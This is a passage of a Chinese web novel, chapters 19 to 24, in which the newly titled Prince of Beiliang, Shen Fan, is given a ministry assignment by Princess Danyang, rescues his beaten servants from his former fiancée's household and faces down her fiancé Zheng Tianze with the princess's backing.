《退婚后,我继承了北凉王》 第十九章:韩当报信 “皇上说玉不琢不成器,你欲去军中效力的事先放一放,好好把这个户部主事干好再说。” 沈凡耳边回荡着丹阳公主悦耳的嗓音,一股幽香随着她裙摆的飘动飘进鼻孔里。 跪在地上的沈凡抬头看向丹阳公主。 虽说已经有了心理准备,可还是不希望自己的猜测是对的,但现实就摆在眼前,皇上不同意自己去渤海军中效力。 “看什么,还不谢恩。”丹阳公主俯视着沈凡道。 其实沈凡是看不清丹阳公主脸的,因为被山峰挡住了,感叹着低下头道:“臣领旨谢恩,不知陛下让臣到户部做什么?” 公主轻哼一声道:“你在户部做什么还需要皇上安排吗,自有本宫做决断。” 言罢看向周围的太监和宫女道:“你们都到外面候着。” 众太监和宫女无声地施了个礼,鱼贯退出大厅。 丹阳公主轻移莲步走到正座坐下。然后就没了动静。 沈凡自顾站起来,两人就这样无声的对视着。 沈凡看到,丹阳公主眼神锐利凶狠,明显是在给自己施压。 可惜这招对沈凡效果不大。 一来母妃活着的时候,只要是自己闯了什么祸,她老人家就会用这般锐利凶狠的眼神审视自己,早就适应了。 二来丹阳公主那双水汪汪的大眼睛实在没什么杀伤力,直勾勾盯人时,反而有种别样的风情。 丹阳公主没想到,自己平日里让人不寒而栗的眼神,在沈凡这竟不好使了。 不但不好使,这小子反而还直勾勾回看自己,真气煞人也! 不行,今天一定要把这小子镇住,继承了北凉王就上天了? 精致小巧的唇角微微一动,开始转为用言语打击:“沈凡,你是王不假,可也是户部七品主事,规矩还是要守的。 本宫身为户部尚书,有个差事要交于你办。” 人在屋檐下,不得不低头啊……沈凡对着丹阳公主拱手施礼道:“请殿下吩咐。” 这还差不多……丹阳公主挑了挑眉,将两日前兵部出现贪污将士抚恤金,皇上杀户部库司主事张定超及相关人犯的事说了。 沈凡听得一头雾水,暗道这事跟自己有什么关系? 直到听丹阳公主让自己这个新任户部主事,带领兵部相关人等主导京城抚恤金发放。 如果要让皇上认可自己,就要先让她认可自己时才豁然醒悟。 自己真是糊涂,没算计到女人善妒这事。 自己不愿到户部就职,变相就得罪了这位皇家贵胄。 沈凡认为,让他这个北凉王做这样的差事,十有八九也是丹阳公主出的主意。 为了验证自己的猜测,干脆来了个单刀直入,拱手道:“敢问殿下,这是不是您的主意?” 丹阳公主一愣,也不答话,再次用凶神恶煞般的眼神凝视着沈凡。 又来了……沈凡也不客气的看向丹阳公主,越发觉得这丫头的眼神没什么杀伤力。 见还是无法慑伏沈凡,丹阳公主干脆摊牌,收回凶狠的眼神,微微一笑道: “确是本宫保举,皇上点头应允的,北凉王应该感到荣幸才是。” 实锤了,还真是你干的! 话又说回来,这父女俩没一个省油的灯,皇上竟也应了她。 沈凡感觉自己就像被邻家孩子抓住的猫,遭到肆意玩弄,一股无名火涌上肺腑,当即反驳道: “若臣不想接这个差事呢?还请殿下莫要强人所难。” “沈凡,你想抗旨吗?”丹阳公主瞪着眸子威胁道:“小心本宫让父皇剥了你的爵位。” 看着这个翻脸比翻书还快的公主,沈凡翻脸的速度比她还快,立刻道:“臣不敢,臣定当竭尽全力办好此事。” “真心话?”丹阳公主问。 “真心话。”沈凡诚恳的道。 丹阳公主的脸色缓和下来,从袖中取出一份卷宗道:“这上面是需要抚恤之人的名单,还有兵部协助你办理此事之人的名字。 明日一早你即去兵部办差,记住此事关系重大,你只对本宫一人负责。” 沈凡叹了口气,接过卷宗问道:“殿下,您答应还我的两万一千两银子呢?” 虽说调往军中的事没办成,银子还是要要的。 “部里调配银子需要时日,等你把差事办完了,估计也就下来了。” 丹阳公主起身道了句后,就面无表情往外走。 可细心的沈凡还是发现,这小娘们的嘴角轻撇了一下,明显是在坏笑。 算你狠! 沈凡心中道了句,嘴上却说着:“臣送殿下。” 厅外的太监和宫女见丹阳公主出来了,很自觉的分左右两侧跟随着。 就在沈凡把丹阳公主送到王府大门时,忽听西北角传来一阵不大不小的骚动声。 沈凡闻声看去,目光就是一凝。 他看到了满脸是血的韩当,被几名丹阳公主的护卫摁在了地上。 韩当和周泰不是陪着水仙去找王灵瑶要银子去了吗,怎么就他回来了? “怎么回事?”丹阳公主也看到了这一幕,问道。 “回禀殿下,此人擅闯警戒。”一名护卫头领回道。 “此人是我的护卫,不要伤了他。”沈凡忙道。 丹阳公主看了眼沈凡,随即对韩当的方向招了招手。 护卫会意,将韩当押到丹阳公主面前。 “这是丹阳公主殿下,还不快拜见。”虽然沈凡很想知道发生了什么事,可也知道规矩不能坏,对韩当提醒道。 韩当这时也反应了过来,忙叩头道:“小人拜见丹阳公主殿下。” 丹阳公主打量着韩当,头上破了两个口子,不断淌着血,脸上青一块紫一块的。 看向沈凡一副欲言又止的样子,知道这是找沈凡有事,说道:“找你们王爷是不是有事,就在这里说吧。” “快说,出了什么事?”沈凡见状立刻问道。 韩当道:“王爷,小人和周泰陪着水仙去王家要银子,没想到王灵瑶不但不给,还搬出一个叫郑天泽的人。 他带着二十几个卫士把我们打了,小人是拼了命跑出来向您报信的。” 郑天则,不就是王灵瑶说的那个情郎么……沈凡的火一下子就上来了,问道:“水仙和周泰呢?” 韩当咧着嘴道:“他们被困住了,您赶快去救他们呀!” “岂有此理。”沈凡回头道了句:“福伯备马,徐盛、丁奉你们跟我走。” “是。” 倪福应了声,与徐盛、丁奉牵出四匹马。 沈凡骑上一匹,带着他们就向王家而去…… 第二十章:看老子不打死你 这小子怎么连招呼都不打就跑了? 愣在原地的丹阳公主还没明白发生什么事,沈凡就已经消失在了街头。 不过她也看出来了,这个叫水仙的奴婢对沈凡很重要。 见韩当踉跄着要随沈凡同去,就命人拦住他问道:“你跟本宫说说到底是怎么回事,王灵瑶怎么就欠你们王爷钱了?” 丹阳公主问话,韩当自不敢隐瞒,就将沈凡向王灵瑶要银子的前因后果说了。 说完后对丹阳公主拱手道:“殿下还请见谅,小人要随王爷去,他们人手不够,会吃亏的。” “你们王府就这几个护卫么?”丹阳公主不解的问。 韩当点头道:“王爷刚继承爵位,手头银子不够,护卫还没招全。” 丹阳公主怔了下,明白了沈凡急着跟自己要银子的原因,下意识摸了摸袖子里的银票,多少有些后悔。 其实这就是给沈凡准备的,只是这小子太气人,有意拖延了。 “等等。”丹阳公主叫住韩当道:“头前带路,本宫也要去看看。” 韩当虽然不知道王爷和这位丹阳公主是什么关系,但也能确定至少不是对头,答应了声在头前带路。 “殿下,臣子之间的事还是少参与的好。”一个老宦官走到丹阳公主身轻声提醒道。 丹阳公主明白他的意思,自己贵为公主,参与这样的事多少有些掉价。 不过不知为何,自己对沈凡的事就是很上心。 特别是此事还关乎巾帼将军王灵瑶,她很想看看这个负心女是怎么嚣张的? “勿需多言。”丹阳公主轻声呵斥了句,登上马车,在老宦官和一众护卫的保护下向着王家而去。 …… 王家大院里,周泰硬撑着身上的伤,手持腰刀,与二十多个手拿棍棒的壮汉对峙着。 “小子,别垂死挣扎了,你觉得你一个人能挡住我们这些人吗?”郑天泽玩弄着手中一块美玉,用轻蔑的目光看向周泰道。 “水仙是我们王府的内宅大总管,你们谁敢动她,不怕死的尽管来!”周泰眼中冒着凶光,冲郑天泽吼道。 这一嗓子和他身上带着的军人气质,将围着他的那些人不由震慑的退后半步。 “水仙你不要怕。”周泰用余光看了眼身后脸色发白的水仙道。 他现在就是能拖一会儿是一会儿,韩当已经突出了重围,小王爷一定会来救他们的。 “就凭你?”郑郑天泽向一旁的护卫要来根水火棍,冷笑着走向周泰。 看着这个英俊魁梧的男人,周泰不但没惊慌反而心中暗喜。 他已经看出来了,这个人不但是王家请来的帮手,而且还是个头儿,只要能制住他,就能拖延更长的时间。 想到这,猛地伸手抓向郑天泽的衣领。 郑天泽只是一闪,就躲开了周泰的手,随即抡起水火棍向周泰头上砸去。 周泰举刀格挡,没想到对方的力量非常大,水火棍打在腰刀上,竟将自己的肩膀压得一沉,腰背也塌了下来。 这时周泰才反应过来,眼前这个男人的武功比自己高。 大喝一声,粗壮的手臂肌肉贲张,用腰刀顺势在水火棍上一划,冲郑天泽的胸口砍去。 郑天泽往后一抽水火棍,同时抬起左腿依次踢在周泰的大腿和小腹上,速度快得令人根本无法躲闪。 大腿上挨得那一脚,把周泰踹得浑身一抖,不过还能坚持。 可小腹挨了一脚后就再也坚持不住了,痛得他不禁捂住了肚子。 郑天泽借机用膝盖顶向周泰的脑袋,周泰大惊,忙探出双手挡在面门前。 郑天泽这一膝的力量极大,撞在周泰手臂上后又击在他的脸上,将周泰的鼻子打得血流如注。 即使是这样,周泰依然死命护着水仙,挥舞腰刀抵抗。 郑天泽冷哼一声,水火棍往下一挥打在了周泰的手腕上。 “当啷”一声脆响中,周泰的腰刀掉落在地。 就在周泰以为对方会趁势进攻时,却发现郑天泽往后退了几步,道了句:“落网。” 话音落下的同时,一张渔网就突然从上方罩了下来,一下将自己网到里面。 随着几名壮汉一拽网绳,失去平衡的周泰轰然倒地。 “周大哥!”水仙发出一声惊叫。 “快跑!”周泰在网中大喊道。 可周围都是郑天泽的人,水仙一个弱女子又能跑到哪里? 被一个壮汉像捉小鸡般按在地上,用绳子捆了。 另一边,眼见郑天泽抡起水火棍就要打周泰,王灵瑶连忙发声道: “天泽,他是来要钱的,教训一下就行了,不要伤了性命。” “对对对,贤婿别伤他性命,他毕竟是北凉王的人。”王父也跟着喊道。 此时王父看向郑天泽的眼中满是欣慰,一想到他那显赫的家世,感觉自己的腰杆又硬了起来。 嘿嘿嘿,有了这位郑大公子的庇护,王家再也不用怕什么北凉王了。 郑天泽很听劝,只是踢了周泰两脚,然后把水仙提溜到王家俊脚下道: “小舅子,你不是说这个贱婢上次骂了你么,交给你出气了。” “多谢姐夫。”王家俊兴冲冲拧着扭水蛇腰走过来。 先是接过郑天泽的水火棒,发现太沉,就向一旁的奴要过马鞭,冲着水仙就抽了下去,边抽还边骂道: “让你骂老子,让你骂老子,老子打不死你!” 随着一阵阵钻心的剧痛传来,水仙被打得不住喊着救命。 可王家院门紧闭,根本就无人来救,就算呼救声传到外面也无人敢进来。 “滚蛋,放开他,有本事冲老子来!”困在渔网里的周泰大喊道。 打得正起劲的王家俊看向周泰,用比太监还太监的声音道:“你别急,马上就轮到你啦。” 周泰眼睛都瞪出了血,身上肌肉奋起,大吼一声想挣破渔网。 可惜这渔网并不是普通的渔网,是郑天泽让人用蚕丝所制,看起来很细却坚韧异常。 周泰越是挣扎,细细的蚕丝越是往肉里勒,疼得他不得不放弃,只能嘶哑着嗓子大骂。 此时水仙已经挨了十几鞭,意识渐渐模糊起来,心里想的只有一件事。 王爷……下辈子我再当您的丫鬟……您一定要好好的…… “靠你娘的王家俊,给老子住手!” 迷迷糊糊中,水仙忽然听到了一个熟悉的声音。 是小王爷! 院里的人也被这一嗓子震得一惊,扭头看去,就见一道身影不知何时出现在了院墙上。 紧跟着,这道身影就如大鹏从天而降,冲着王家俊凌空扑了过去。 王灵瑶、王父和王家俊的瞳孔同时一缩。 他们看清楚了,来的不是别人,正是沈凡。 第二十一章:对峙 飞扑而下的沈凡身形快到了极致,一记飞脚就将王家俊踢飞出去,落地的瞬间又将水仙抱在怀里。 几乎就在同时,院门被大力从外面撞开了,冲进来三个拿着腰刀的人,正是倪福、徐盛和丁奉。 三人迅速来到沈凡身边,丁奉用刀将周泰身上的渔网割断。 “小王爷……”当看清楚真的是沈凡来了,水仙暗淡的眼神瞬间充满了光亮,泪水扑噗扑噗落下来。 这时别说是受伤,就算让自己当场死了也没有遗憾。 因事发太突然,院里的人这时才反应过来,将沈凡几人围住。 不过郑天泽带来的这些人都训练有素,加上这又不是厮杀的战场,故谁也没动手,纷纷看向郑天泽等待命令。 郑天泽没说话,上下打量着沈凡。 站在他的身后王灵瑶也在看着沈凡,神情有些古怪。 王父则现出几分惊恐,下意思躲到郑天泽身后,可随即就又被王家俊的惨叫声吸引。 就见儿子蜷缩在地上,两只手捂着捂着下身,表情极度痛苦,叫了几声昏了过去。 王父和王灵瑶大惊,忙过去查看,呼唤仆人把他抬到内宅,赶快去请郎中。 对那边的乱象沈凡毫无所动,他也在上下打量着眼前这个长得还算英俊,眼神中却带着邪恶的男人,问道:“你就是郑天泽吧?” 沈凡没见过郑天哲,还是能凭着感觉认定此人。 “不错。”郑天泽发出一声轻笑,背着手来到沈凡身前反问道:“你就是新晋北凉王沈凡吧?” 沈凡微微一愣。 以自己北凉王的身份,一般人是不会这么直呼其名的,除非郑天泽的身份也不简单。 可转念又想,老子管你什么身份,就算是天王老子动了水仙也一样不轻饶。 将水仙交给倪福照顾,沈凡将衣袍下摆掖进腰带里,看向郑天泽的眼中闪现出一道寒光。 郑天哲也将衣袍的下摆掖到腰中,对打赢这个看上去柔柔弱弱的沈凡充满信心。 “王爷小心,这王八蛋的功夫比我高多了。”周泰提醒道。 沈凡点点头,目光不错盯着郑天泽,忽然腰眼一拧,以左腿为轴,抬右腿扫向他的脑袋。 面对呼啸而至的腿风,郑天泽并没有躲,轻喝一声,双手上举迎向沈凡的这记鞭腿。 “砰!” 沈凡一脚重重踹在郑天哲的两条小手臂上,却没有听到骨头断裂的声响,反而被对方硬碰硬挡住了。 就在沈凡收腿的一刹那,郑天泽反击了。 出腿如电,照着沈凡的胸口、腹部接连踢出三脚,使的正是刚才踹倒周泰的腿法。 沈凡眉头一皱,知道周泰的话不虚,还没落地的右脚凌空反踹,用以腿碰腿招数也硬刚了郑天泽这三脚。 “砰砰砰……”三声闷响过后,两人身形一错,已是变换了位置。 再看沈凡气定神闲站在那,郑天泽就没那么好过了,嘴角忍不住抽搐了两下,强忍着从腿上传来的阵阵疼痛。 其实沈凡的腿也疼,但比郑天泽能忍。 “不过如此。”沈凡道了句,身形一动扑了过去。 这一扑速度奇快,等郑天泽反应过来时,发现沈凡的两只手已经抓住了自己的肩头。 郑天泽吃了一惊,身子猛得向下一沉,同时抬脚踢向沈凡的裆部,试图卸掉对方力道的同时来个一击取胜。 可他还是低估了对方的实力,沈凡的两只手像钢爪一样抓住自己的肩头,竟把自己提了起来。 这让郑天泽不但踢空了,还因为重心不稳被沈凡在空中轮了一圈。 就听裂帛一声响,郑天泽的衣袍竟被沈凡抓裂,脱手的同时,巨大的惯性将其重重摔在地上。 郑天泽不愧是高手,这么危急的关头也没慌乱,就地来了个驴打滚,卸掉身上的力道后又重新站了起来。 只是他上身的衣服已经被沈凡抓掉,袒胸露背的样子狼狈至极。 “怎么,想给大伙来个脱衣舞么?”沈凡嫌弃的将手里的衣服丢在地上道。 “你……下网!”恼羞成怒的郑天泽忽然叫道。 他知道自己不是沈凡的对手,想用抓周泰的法子来个故技重施。 顷刻间,一张一丈大小的渔网被郑天泽的手下抛向沈凡。 有了周泰的前车之鉴,沈凡哪会中招。 迅速后撤,在脱离渔网的范围时,探右手抓住渔网的边缘,身形随即来了个大回转,将渔网反向抛向郑天泽。 郑天泽想不到沈凡还有这一手,看见渔网从天而降。 毫无防备的他一下就被罩住,挣扎中左脚绊渔网,右脚绊左脚摔了个狗啃屎。 “天泽!”一旁的王灵瑶大急,窜上来就欲去救。 可沈凡比她快得多,抓住渔网往回一拽,让王灵瑶扑了个空。 又像拖死狗般将郑天泽拖到倪福等人身边,抡起拳头照着郑天泽的小腹就是两拳。 “哇哇……”郑天泽顿时把昨晚上吃的饭都吐了出来。 就在沈凡轮起拳头,准备照着郑天泽英俊的脸上再来一下时,忽然传来了王灵瑶的叫声:“住手,不然我放箭了!” 沈凡的拳头停在空中,随即将被打得七荤八素的郑天泽挡在身前,因为他看到王灵瑶手持短弩正瞄准自己。 在她的左右,郑天泽的手下也都拿着短弩对着自己,锋利的箭头在阳光的照耀下闪烁着寒光。 面对这般情景,沈凡也很无奈。 就算自己的武功不弱,也挡不住这么强弩的攻击,只能拿郑天泽当挡箭牌。 水仙、倪福、徐盛、丁奉、周泰立刻围了过来,主动站在沈凡身前,随时准备用身体挡住对方的强弩。 “都闪开,到我身后去。”沈凡冲他们叫道,然后把郑天泽推到众人身前,顺便还给了水仙他们一个安心的眼神。 水仙、倪福他们见状,这才退到沈凡身后。 见郑天泽有些缓过来了,挣扎着试图起身,沈凡抓着他的发髻,又在他肚子上来了拳。 郑天泽这回吐得是苦胆,因为被沈凡抓住头发仰面朝天的缘故,绿色的胆汁像箭一样喷淋出去。 然后……就又堆了。 第二十二章:郑天泽的家世 “沈凡,你再打他我就真放箭了!” 看到王灵瑶面目狰狞的样子,沈凡的目光很是复杂,心不由一痛。 谁能想到,两年前还花前月下的情人,如今却用强弓硬弩对着自己。 将郑天泽对着王灵瑶的弩箭道:“有本事你就射,我保证能用你的情人挡住。” “你!”王灵瑶气得满脸通红,可手指却始终不敢扣动强弩上的扳机。 “谁都不许射箭,谁都不许射箭,都把弩给我放下!”说这话的是郑天泽. 面对生死关头他又缓了过来,对王灵瑶和手下人喊道,生怕他们一个不留神把自己变成刺猬。 “你们把他们都围上,瞄准其他人。”随着王灵瑶道了句,郑天泽的十几个手下立刻围在沈凡几人周围。 王灵瑶道:“沈凡,你要是敢伤天泽,我就射你的手下。” “你敢!”沈凡怒道。 “你看我敢不敢!” 王灵瑶依旧举着短弩道。 沈凡的心就是一紧,明白如果对方真这么干,自己还真护不住水仙他们。 此刻他很后悔,后悔当初不该把‘围魏救赵’这些战术教给王灵瑶,如今她竟把这招用在了自己身上。 就在双方相持不下时,院外传来一阵沉重的脚步声,从门外忽然冲进一群身穿黑甲的武士。 这些武士有四五十人之多,人人手中持一把强弩,进来就瞄准了院中的每个人,包括沈凡。 突如其来的变化,把院中所有人都吓了一跳。 在不知来者是敌是友的情况下,王灵瑶和郑天哲的手下将短弩对准了这些武士。 沈凡则抓着郑天泽护在水仙他们身前,小心戒备着。 不过很快沈凡的戒备心就放了下来,他看到韩当也在这些黑甲武士中间。 “所有人都把武器放下,丹阳公主殿下驾到,如若不从就地格杀!”一个老宦官从院门走了进来,用高亢的乌鸦嗓喊道。 丹阳公主殿下……王家人顿时惊出一身冷汗。 王灵瑶也是满脸惊容,可这个老宦官和黑甲武士的出现不由不让她不信,道了句:“都放下兵器。” 与此同时,随着老宦官一挥手,十几个黑甲武士把王灵瑶他们放在地上的弩和棍棒都收缴起来。 有两个黑甲武士要收缴倪福他们的腰刀时,倪福他们还不想给,被沈凡道了句“给他们”后,就乖乖上缴了兵器。 不过沈凡却没有放郑天泽,依旧抓着这货的头发不放。 见院里所有人都没了兵器,老宦官这才出了院门。 一会儿的功夫,就见身穿狐皮大氅的丹阳公主,迈着六亲不认的步伐走进院中。 “还不拜见公主殿下。”随着老宦官吼了声,院里的所有人都对着丹阳公主跪拜。 只有沈凡例外,他将郑天泽摁在地上对着丹阳公主叩头,全当这小子替自己拜了。 “都起来吧。”丹阳公主面无表情的道了句。 别看她刚到,但见到收缴上来的弓弩已是猜到了大概,自己来的正是时候。 还债的人把要债的人围了,还用上了弩箭这般杀器,还有王法么? 丹阳公主走到王灵瑶身前,上下打量了几眼道:“巾帼将军,你认识本宫吗?” 已经起身的王灵瑶再次跪在地上道:“臣在朝会时有幸见过殿下,不知……不知殿下来臣家有何贵干,有失远迎还请赎罪。” 王灵瑶是真猜不出丹阳公主来此干什么,总不会是来给沈凡撑腰的吧? 丹阳公主微微一笑道:“也没什么事,刚才在北凉王府得知北凉王向你讨要银子不给,本宫就来看看,没想到你还真欠钱不给。” 听到这话的王灵瑶猛抬头看向丹阳公主,脸上满是吃惊的神色。 她知道沈凡和丹阳公主有些交情,那也只在公务上,怎么也没想到,这位皇亲贵胄居然会帮沈凡。 另一边,沈凡的心头却是一热。 他没想到丹阳公主会来,更没想到这小娘们会帮自己。 要知道,这种事放在自己家是大事,可在丹阳公主眼里是小得不能再小的事,小到甚至不屑一顾。 这让丹阳公主在沈凡心目中的形象有所恢复。 “你看本宫干什么,回话。” 随着丹阳公主道了句,王灵瑶忙再次低下头道:“殿下您误会了,臣没想不还北凉王的银子。” 丹阳公主道:“好一张伶牙利嘴,那你打伤他的奴仆作甚?” “这,这……”王灵瑶一时语塞。 就在这时,丹阳公主忽听身后传来一个男子的嗓音: “公主殿下,您误会巾帼将军了,我们并非不想还银子,是北凉王的奴婢进门就出言不逊。 您也知道,巾帼将军乃皇上亲封的五品正官,岂能让恶奴侮辱,我们只是想教训他们一下,绝无它意。” 说话的不是别人,正是郑天泽。 一听这小子居然这么说,沈凡气就不打一处来,照着这货后脑勺就是一巴掌,骂道:“一派胡言!” 丹阳公主回身看去,见说话的是一个跪在网在渔网里的男人,上身裸露着,眉头一皱问道:“你是何人?” “臣叫郑天泽,是安国公之孙,现任五品骁骑将军。” 此言一出,别说丹阳公主愣住了,就连沈凡也愣住了,吃惊的看向郑天泽。 沈凡猜到了此人身份不俗,却没想到他是安国公的孙子。 安国公郑群山是什么人。 据父王生前说,他是跟随太祖皇帝打天下的名将,三朝老臣,算算岁数没九十也差不多。 别看大夏朝的爵位分为王、公、侯、伯、子、男六等,可这个安国公郑群山的影响力要远超过自己这个世袭的王爵,连父王活着的时候都恭敬有加。 关键这老头儿名望太大,辈分太高,加上与他同年的名臣早已凋零,就被后世皇家奉为国宝级的存在。 连当今皇上也对他很尊重,逢年过节还带着众多皇子皇女前去探望一番,丹阳公主自然也在其中。 正如沈凡所料,丹阳公主盯着郑天泽看了一阵,吩咐了声:“放他出来。” 两名黑甲武士立刻拥了上去,从沈凡手中半抢过郑天泽,将其放了出来。 与此同时,有郑天泽的手下取来一件上衣给他穿上。 侧旁,见此情景的王父神情一振。 郑天泽他也是第一次见,据说郑家功高盖世,就连皇亲国戚都要礼敬三分,如今一看果然不虚。 想到这的王父不由把腰直了直,看向丹阳公主的眼神里也少了些敬畏。 第二十三章:无耻就要用更无耻对付 郑天泽本就没受什么伤,被沈凡打了几拳也只是清了清肠,并无大碍。 穿好衣服后已是恢复了原有的气质,对丹阳公主躬身施礼道:“谢殿下。” 丹阳公主道:“既然是安国公的孙子,为何会出现在这里,北凉王和巾帼将军的事与你何干?” 郑天泽道:“回禀殿下,巾帼将军是臣的未婚妻,所以臣才会在此地出现。” “你是巾帼将军的未婚夫?”丹阳公主看了眼郑天泽,又看向王灵瑶。 面对丹阳公主询问的眼神,王灵瑶回道:“是的殿下,郑天泽是臣的未婚夫。” “哦。” 丹阳公主略有所思的应了声,才知道原来给沈凡扣绿帽子的是这小子。 就在这时,她看到郑天泽瞪了沈凡一眼,眼神里充满了凶狠,然后看向自己用气愤的道: “殿下,您刚才都看到了,这个沈凡自持是新晋北凉王,不但纵容恶仆来此闹事,还将臣好顿毒打。 请殿下为臣主持公道,惩戒此人!” 听到这话,没等沈凡开口,水仙的小爆脾气一下就上来了,指着郑天泽的鼻子骂道: “你放屁……我、周泰和韩当是奉王爷的令来要银子的,不是来闹事的。 是你们不由分说就动了手,把我们都打了,王爷来救我们也是你先动的手,你挨打活该!” 沈凡用赞许的目光看向水仙,觉得这丫头不仅是个好管家,更有护法的气质。 见水仙说了脏话,丹阳公主身边那个老宦官眉头一拧,对水仙呵斥道:“无理,公主面前不可放肆!” 老宦官说这话时目光凶恶,嗓音像乌鸦一样尖锐,扭曲的脸如夜魔一般。 把极少见过太监的水仙吓得一哆嗦,唰得躲到沈凡身后。 沈凡见状脸一黑,看向老宦官道:“这位公公,我的奴婢不懂礼数,不过说的却没错,郑天泽说的话就是放屁,甚至比屁还臭不可闻。” “北凉王你……”老宦官没想到这位北凉王更粗鲁,真是有什么主子就有什么奴婢,又不敢指责,只能用求助的眼神看向自己的主子。 丹阳公主观察到了郑天泽刚才的神态。 就冲此人瞪沈凡的眼神,冲自己对沈凡的了解,就能猜出郑天泽说的话不实。 她没理会老宦官,而是饶有兴趣地看向水仙。 这奴婢她是见过的,前几日北凉王派来向自己要银子的就是她。 长相一般,身子瘦弱的很,肤色满是菜色,没想到在柔弱的背后却藏着如此野蛮的性子。 问道:“水仙,你刚才说的都是真话?” “当然,奴婢绝不敢欺瞒您,因为您就是菩萨转世,骗您会遭雷劈的!”水仙异常认真的道。 丹阳公主眨着眼问:“我怎么成了菩萨转世了?” 水仙道:“您上次见奴婢的时候一点架子都没有,还让宫女给了奴婢顿饭吃。 除了我们王爷外,就没人对奴婢这么好过,所以奴婢知道您一定是菩萨转世。” “咯咯咯……”丹阳公主笑道:“倒是个伶牙俐齿的丫头,难怪你的主子重用你。” 沈凡看出丹阳公主没有怪罪水仙的意思,提醒道:“还不向殿下赔不是,以后说话嘴边要有个把门的。” 水仙再次对丹阳公主施礼道:“奴婢刚才失礼了,请殿下赎罪。” “罢了。”丹阳公主摆了摆手。 这一幕被郑天泽看着眼中,心就是一紧。 刚才丹阳公主突然出现,他就怀疑是来帮沈凡的,现在这一幕让他更加确定,丹阳公主是来给沈凡撑腰的,不然怎么对沈凡的婢女都这么好? 不行,决不能坐以待毙,一定要争得主动。 想到这,郑天泽对着丹阳公主拱手道:“殿下,臣不会与这个奴婢一般见识,但北凉王殴打臣的事不行,还请殿下给臣做主。” 说着还给了身边的王灵瑶一个眼色。 王灵瑶知道郑天泽在说谎,但这时也不能说真话,可毕竟她良心未泯,跟着郑天泽给丹阳公主施礼,却什么也没说。 面无表情的丹阳公主看了眼郑天泽,又看了看他身边的那位巾帼将军。 对郑天泽这种仗着功臣之后的嚣张气焰更是不满,更对王灵瑶这般负心女嗤之以鼻,有意再帮沈凡一把。 于是,她并没在沈凡打人这件事上纠缠,看向王灵瑶道: “这件事既然被本宫赶上了,就让本宫做一决断,这样吧,巾帼将军,你把北凉王的银子还了,此事就暂且罢了。” “啊!”郑天泽惊讶的看向丹阳公主。 丹阳公主道:“啊什么啊,难道欠债还钱不是天经地义么,再说了,本宫这话是与巾帼将军说的。” 王灵瑶本就没有赖账的意思,只是迫于郑天泽的态度才听之任之,况且丹阳公主明显是在偏向沈凡,这是她们王家万万不敢得罪的人。 忙道:“殿下说的对,臣自当归还银子。” 不远处,王父看向丹阳公主的脸色很不好,却不敢说话。 沈凡也在看着丹阳公主,对她的印象又多了几分好感。 不过还没恢复到以前的程度,毕竟自己的银子还被扣着呢! 郑天泽咬了咬牙,这时他也不好说什么,毕竟欠钱是要还的。 可一想到王家没钱,这五万两银子还得自己掏腰包就肉疼,就故意岔开话题道: “殿下,欠债还钱天经地义,臣不管,可臣被北凉王殴打之事有目共睹,还请殿下给臣一个公断。” 见郑天泽不依不饶,丹阳公主秀眉一皱道:“你欲怎样?” 郑天泽道:“臣要求不高,让北凉王赔臣一万两银子。” 丹阳公主看向郑天哲的眼神里明显带着错愕,心道一万两银子都够买几条人命的,你也真开的出口? 不过碍于自己的身份,丹阳公主并没说什么,而是看向沈凡。 看着郑天泽的无赖像,沈凡嗯了声道:“郑天泽你不要忘了,刚才你我之间是公平出手,在场的所有人都可以作证。 是你打不过本王,又让手下用渔网这种卑鄙伎俩罩我,是本王以其人之道还其人之身。 况且如果要是赔偿,你把本王的护卫周泰打伤了,本王也要你拿一万两银子。” 说到这时,沈凡特意看了眼周泰,下巴对着地面微微抬了下。 第二十四章:懿旨一出,满院震惊 周泰是军人出身,军人还有个别称叫丘八。 意思是说这些人打起仗来可以不要命,耍起无赖来就是兵痞。 他立刻就明白了沈凡抬下巴的意思,脸色突然一变,捂着肚子躺在了地上,口中发出痛苦的呻吟道: “王爷……小人的肚子疼……肚子疼啊,肯定是被郑天泽打成了内伤!” 沈凡立即俯身查看,然后一脸忧郁的看向丹阳公主道:“殿下,我的护卫确是受了内伤,您看怎么办?” 眼见强壮的周泰倒地打滚,丹阳公主嘴角一抽,明显是在憋笑。 郑天泽的嘴角也是一抽,明显是被气得。 就在这时,众人忽听沈凡身后传来一声呻吟。 “王爷,奴婢也觉得浑身难受,应该是也受了内伤,理应也要一万两银子赔偿。” 众人定神看去,但见水仙也以躺在了地上,捂着胸口不住呻吟着,加上身上的鞭伤,看上去比周泰重多了。 这回轮到沈凡嘴角一抽,没想到水仙这丫头居然也配合自己来。 不过心里很是宽慰,自己的贴身丫鬟就该有这样的机灵劲儿,看向郑天泽道:“没错,水仙也得赔一万两。” “噗呲……”丹阳公主终于憋不住了,捂嘴轻笑,肩头抖动的如筛糠。 在她看来,周泰和水仙的所为就是得到了沈凡的暗示,也让她看到了沈凡的另一面。 以前怎么没发现,这小子还挺有意思的,堂堂一个王爷,能想出这么一个法子? 丹阳公主哪里知道,沈凡流落民间的这两年多里,已经懂得如何利用市井手段摆脱危机,甚至是占些小便宜。 况且对付郑天泽这种无耻之人,就得用这种更加无耻的手段。 郑天泽、王灵瑶、王父的脸都绿了,他们怎么也想不到,堂堂北凉王府的人竟会能这么做? 看丹阳公主笑着的样子,她是支持沈凡的,照这样不但得不到赔偿,找不回面子,还得再赔上一万两银子。 郑天泽没想到世上还有这样一群无耻之人,叫道:“哪有这么算账的,我的命能和他们两个贱奴的命比吗?” 沈凡神情凛然道:“他们是我北凉王的人,不是什么贱奴,你说话客气点,不然还打你。” 郑天泽指着沈凡连说了几个“你”字,下意识看向还在掩口轻笑的丹阳公主,心就是一凉。 “天哲,我看这事就算了吧。”王灵瑶走到郑天泽身边,用细不可闻的声音道。 郑天泽明白,她的话里还有沈凡有丹阳公主撑腰,好汉不吃眼前亏的意思。 知道也只能如此了,重重打了个嗨声道:“罢了罢了,算我晦气,咱们两清。” 沈凡笑着点点头,算是答应了。 倒不是他不想讹郑天泽这两万两银子,只是这本就是市井伎俩。 自己已经是王爷了,只要破了郑天泽的算计,就没必要继续做这上不得台面的事。 何况丹阳公主还在,不能让她小瞧了自己。 果然,沈凡看到丹阳公主对自己微微点头,大眼睛里现出几分赞许。 另一边,水仙和周泰闻言后在众人注视下已然爬了起来,身法都很矫健,引得丹阳公主又忍不住轻笑起来。 就在这时,忽然从门外传来了一声高呼:“皇后懿旨到,巾帼将军王灵瑶接旨。” 听到这话,院里众人皆脸色一变。 